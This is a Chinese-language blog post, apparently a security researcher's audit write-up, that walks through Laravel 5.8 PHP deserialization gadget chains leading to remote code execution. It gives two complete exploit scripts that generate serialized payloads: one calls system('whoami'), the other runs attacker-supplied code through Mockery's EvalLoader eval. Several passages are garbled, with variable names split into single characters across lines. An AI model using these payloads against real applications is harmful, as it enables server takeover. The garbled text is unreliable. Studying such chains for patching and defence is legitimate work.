写在最前面
之前审计过laravel54 55的框架,这次继续跟着WP审计一下laravel58,这次链子相比于前面两个框架,相比来说更为复杂一点,因此再审计的过程,建议读者不断回溯代码,理解每个参数变量的来源,环境搭建这里不做讲解了,直接进行分析
和laravel55 一样的EXP
首先依然是寻找_construct方法:这里找的是 :Illuminate\Broadcasting
_construct:
public function __destruct()
{
$this->events->dispatch($this->event);
}
看看这里的dispatch方法:
这里的dispatch入口和laravel55一样,exp也一样,所以不再详细叙述,感兴趣的可以去看我的前一篇文章
给出EXP:
<?php
namespace Illuminate\Broadcasting
{
class PendingBroadcast
{
protected $events;
protected $event;
function __construct($events, $parameter)
{
$this->events = $events;
$this->event = $parameter;
}
}
}
namespace Illuminate\Events
{
class Dispatcher
{
protected $listeners;
function __construct($function, $parameter)
{
$this->listeners = [
$parameter => [$function]
];
}
}
}
namespace{
$b = new Illuminate\Events\Dispatcher('system','whoami');
$a = new Illuminate\Broadcasting\PendingBroadcast($b,'whoami');
echo urlencode(serialize($a));
}
效果图:
寻找一个新的链子->dispatch:
漏洞分析:
入口点依然是从_destruct开始分析:Illuminate\Broadcasting
然后开始寻找一个新的dispatch。那么我们的events一定是去实例化一个类
最后我们找到一个存在RCE入口的dispatch类:namespace Illuminate\Bus
一个看起来很简单的方法,跟进一下dispatchToQueue方法和dispatchNow方法:
dispatchNow方法:
dispatchToQueue方法:
很显然dispatchToQueue存再一个call_user_func_arry函数,dispatchNow看起来复杂且不是很好RCE,所以不管是从代码量还是类函数来讲,我们都愿意调用dispatchToQueue。
现在第一个小目标: 让$this->queueResolver && $this->commandShouldBeQueued($command)为真从而调用
跟进一下方法:
instanceof 判断$command是否是该类的实例化,
跟进一下ShouldQueue:
单纯的一个接口,那么很好办,只要存在 use Illuminate\Contracts\Queue\ShouldQueue即可,那么我们可以从存在该use语句的php中,寻找新的可利用函数,那这里没有什么限制条件,具体实例哪一个我们可以先放一放,至少现在可以确定,$event得值一定是实例化一个类,我们已经可以通过上述语句从而调用dispatchToQueue方法,下面仔细跟进一下这个方法:
### 思路分析:
1.看到画横线的语句,$connection,这个参数是Dispatch里面不存在,再细看,$command->connection->connection ,而我们再前面已经说过了,$command是实例化一个含有 use Illuminate\Contracts\Queue\ShouldQueue的文件,那么我们就从这些文件中找到一个protected $connection 或者public $connetcion ,我们就可以控制$connection的值
2.这里确确实实存在call_user_func,但是,没有存在return $queue,也就是说我们RCE的结果没有出口返回,欸,这就很烦。要是有出口,就可以直接RCE一步到位了
3.虽然没有返回出口,但是call_user_func是调用方法,那么就有希望通过调用其他类的方法,找到RCE并且有返回出口的类,再一看,这个$this->queueResolver 是$commond->queueResolver,而我们再前面说过什么?$commond是实例化一个含有use Illuminate\Contracts\Queue\ShouldQueue,并且存在protected $connection 或者public $connetcion的,而该Dispatch.php本身含有protected $queueResolve ,这样才参数可控,我们可以寻找一个新的RCE入口,
继续分析:
这里寻找到的入口点:
Illuminate\Broadcasting\BroadcastEvent
Queuebal.php内存在可控的conneciton
而这里我们寻找到的下一个方法,这里选择的是: Mockery\Loader\EvalLoader,因为该方法中存在eval ,所以,关于
q
u
e
u
e
R
e
s
o
l
v
e
r
的
值
应
该
是
实
例
化
queueResolver的值应该是实例化
queueResolver的值应该是实例化this->queueResolver,并且调用load方法,所以,this->$queueResolver=array(new Mockery\Loader\EvalLoader(), “load”)
这里为什么这么写我还不是很清楚,但是看得懂,是实例化该类并且调用方法。
接下来进入load方法仔细查看如何RCE
这里的意思是,实例化MockDfinition为
d
e
f
i
n
i
t
i
o
n
要
想
执
行
e
v
a
l
,
那
么
就
不
能
进
入
i
f
,
跟
进
看
看
definition 要想执行eval,那么就不能进入if,跟进看看
definition要想执行eval,那么就不能进入if,跟进看看definition->getClassName
很好,这里参数可控
class_exists — 检查类是否已定义,那么这里随便定义config即可,只要不是一个已经被实例化的类
这样一来,if可以绕过了,最后就是eval这个地方进行RCE,code参数就是我们RCE的地方
最终EXP:
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
function __construct($evilCode)
{
$this->events = new \Illuminate\Bus\Dispatcher();
$this->event = new BroadcastEvent($evilCode);
}
}
class BroadcastEvent {
public $connection;
function __construct($evilCode)
{
$this->connection = new \Mockery\Generator\MockDefinition($evilCode);
}
}
}
namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver;
function __construct()
{
$this->queueResolver = [new \Mockery\Loader\EvalLoader(), 'load'];
}
}
}
namespace Mockery\Loader {
class EvalLoader {}
}
namespace Mockery\Generator {
class MockDefinition {
protected $config;
protected $code;
function __construct($evilCode)
{
$this->code = $evilCode;
$this->config = new MockConfiguration();
}
}
class MockConfiguration {
protected $name = 'abcdefg';
}
}
namespace {
$code = "<?php phpinfo(); exit; ?>";
$exp = new \Illuminate\Broadcasting\PendingBroadcast($code);
echo urlencode(serialize($exp));
}
?>
code就是RCE的地方
成功执行PHPINFO();
输出 seveen_1:
总结:
一个框架里面总会有很多类的函数可以RCE。从理解到复现链子就需要几个小时的时间,更别说,自主去寻找一个链子。还是那句话,函数在那,主要去找,总会找到的。这篇文章的laravel57跳板有两个,首先找到call_user_func,再通过call_user_func去找一个新的可以RCE的入口,相对于前面laravel54 55这两个链子来说,以前的链子更单一,找到一个类似RCE的入口就可以直接拿下来。所以这个框架相对来说难一点。